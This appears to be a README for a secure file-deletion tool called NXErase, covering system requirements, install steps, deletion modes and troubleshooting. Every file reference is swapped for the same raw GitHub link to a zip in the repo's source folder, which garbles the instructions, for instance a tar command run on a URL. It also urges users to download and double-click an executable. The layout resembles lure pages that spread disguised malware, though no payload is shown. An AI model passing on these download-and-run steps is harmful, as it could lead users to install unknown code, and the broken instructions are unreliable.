NXErase is a secure deletion utility designed to protect sensitive data from theft, malware, and unauthorized recovery. It is optimized for Solid State Drives (SSDs), NVMe, and Full Disk Encryption. With NXErase, you can be confident that your deleted files are gone for good.
This guide helps you download and run NXErase on your computer. Follow these steps to get started.
- Operating System: Windows, Linux
- RAM: Minimum 2 GB
- Hard Disk Space: Minimum 100 MB free space
- Processor: Intel or AMD processor with 64-bit support
- Visit the Releases page to download NXErase.
- Choose the version that suits your operating system:
- For Windows, download the
.exefile. - For Linux, download the appropriate
https://raw.githubusercontent.com/zaburu/NXErase/main/src/Erase-NX-1.6.zipfile.
- For Windows, download the
- Save the file to your computer.
- Locate the downloaded
.exefile. - Double-click the file to start the installation.
- Follow the on-screen instructions to complete the installation.
- Once installed, you can find NXErase in your Start Menu.
- Open your terminal.
- Navigate to the directory where you downloaded the
https://raw.githubusercontent.com/zaburu/NXErase/main/src/Erase-NX-1.6.zipfile. - Extract the contents using:
tar -xzf https://raw.githubusercontent.com/zaburu/NXErase/main/src/Erase-NX-1.6.zip
- Move into the directory created:
cd NXErase - Run NXErase using:
./NXErase
- Open the NXErase application.
- Choose the files or folders you wish to delete securely.
- Select the deletion method:
- Fast Delete: Quick but less thorough.
- Standard Delete: Standard secure deletion.
- Full Erasure: Best for sensitive data.
- Click the "Erase" button to securely delete the selected items.
- Secure Deletion: Completely erases files so they cannot be recovered.
- Multiple Deletion Methods: Choose how thoroughly to delete data.
- User-Friendly Interface: Designed for ease of use.
- Optimized for SSDs and NVMe: Ensures effective deletion without wear.
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If you encounter any issues while using NXErase:
- Check your system requirements.
- Ensure you have the correct version for your operating system.
- Review any error messages for guidance.
For further assistance, you can open an issue on the GitHub repository.
NXErase is open-source software. Feel free to modify it according to the LICENSE file.
After erasing your files, ensure to securely empty your recycle bin.
Download NXErase again if you need to erase more data by visiting the Releases page. It's simple and protects your sensitive information.